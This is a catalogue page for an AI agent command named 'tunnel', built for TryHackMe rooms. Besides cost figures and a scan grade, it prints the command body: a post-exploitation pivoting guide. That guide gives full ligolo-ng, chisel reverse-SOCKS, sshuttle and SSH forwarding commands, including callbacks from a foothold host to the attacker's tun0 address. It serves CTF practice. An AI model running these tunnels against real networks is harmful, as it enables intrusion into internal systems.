Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/pashki975/thm-claude-kitWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/pashki975/thm-claude-kit/tunnel)<a href="https://agentmods.dev/commands/pashki975/thm-claude-kit/tunnel"><img src="https://agentmods.dev/badge/commands/pashki975/thm-claude-kit/tunnel.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00011 | $0.00548 |
| Opus 5 | $0.00005 | $0.00274 |
| Sonnet 5 | $0.00002 | $0.00110 |
| Haiku 4.5 | $0.00001 | $0.00055 |
Grade B, and why
tunnel scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
`sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up` What it actually says
Help me pivot through the foothold host to reach an internal network/host. Args (optional): $ARGUMENTS (e.g. the internal subnet or target you're trying to reach)
Show my tun0 IP as the attacker address. Pick the technique that fits what's on the box.
First: discover the internal network from the foothold
ip a/ifconfig/arp -a— find a second NIC or internal subnetip route— see what networks the host can reach- Ping-sweep or check for live internal hosts (careful, stay in scope)
Option A — ligolo-ng (best all-round, needs a tun interface)
- On Kali: set up the tun, start the proxy:
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up./proxy -selfcert - Upload the matching
agentto the target, run it pointing back:agent -connect <tun0>:11601 -ignore-cert - In the ligolo console:
session, then add the internal route on Kali:sudo ip route add <internal-subnet> dev ligolo - Now reach internal hosts directly from Kali.
Option B — chisel (simple SOCKS proxy, very common on THM)
- Kali (server):
./chisel server -p 8000 --reverse - Target (client):
./chisel client <tun0>:8000 R:socks - Then use
proxychains <tool> <internal-ip>(set socks5 127.0.0.1:1080 in /etc/proxychains4.conf)
Option C — sshuttle (if you have SSH creds on the pivot — cleanest)
sshuttle -r <user>@<pivot-ip> <internal-subnet> --ssh-cmd "ssh -i key"
Option D — SSH port forwarding (single-port, no extra tools)
- Local forward:
ssh -L 8080:<internal-ip>:80 <user>@<pivot> - Dynamic (SOCKS):
ssh -D 1080 <user>@<pivot>+ proxychains
After the tunnel is up
Re-run recon against the internal target THROUGH the proxy (proxychains nmap is slow — prefer -sT -Pn and a small port list). Record the internal host in notes.md as a new target and continue the normal methodology against it. Stay strictly in the room's scope.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 41 lines · 11 tokens per session scan B 4598cb4e4613
tunnel is a command published in the GitHub repository pashki975/thm-claude-kit (2 stars, last pushed 23d ago), licensed MIT. It adds 11 tokens to every session and 548 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
project-status
Summarize the current state of this client project.
pr
Create a pull request from the current branch.
wiki-query
Answer a question from the wiki's accumulated knowledge using index-first retrieval.
calibrate-voice
Run an empirical calibration round: regenerate the 8-brief matrix, measure, collect owner ratings, codify every reaction into a logged pack change.
build
Build it — phase by phase with code review and your approval at each gate.
comments
Show cubic's review comments on a pull request.